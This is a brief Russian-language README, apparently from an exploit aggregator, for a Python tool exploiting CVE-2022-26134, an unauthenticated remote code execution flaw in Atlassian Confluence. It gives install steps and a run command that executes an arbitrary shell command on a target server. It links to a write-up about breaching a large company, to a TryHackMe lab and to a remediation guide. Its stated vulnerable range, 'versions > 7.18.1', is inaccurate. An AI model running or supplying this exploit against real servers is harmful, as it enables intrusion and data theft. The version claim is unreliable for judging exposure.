Exploit for CVE-2022-26134

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-THETOWSIF-CVE-2022-26134
# CVE-2022-26134

30 мая 2022 года организация Volexity выявила неаутентифицированную RCE-уязвимость (9.8 по шкале NIST) в Atlassian Confluence Server и Data Center (уязвимые версии > 7.18.1)

### Запуск

root@kitploit:~
    
    
    python -m venv venv
    source venv/bin/activate
    pip install -r requirements.txt
    python CVE-2022-26134.py http://xxx.xxx.xxx.xxx:8090/ "id"
    

## Ссылки

  * Как я взломал компанию из списка Fortune 500 за 48 часов и получил данные 30 000 000 пользователей — автор Legacy0x1
  * Прохождение комнаты CVE-2022-26134 на TryHackMe — автор Aybala Sevinc
  * Обнаружение и рекомендации по устранению zero-day уязвимости CVE-2022-26134 в Confluence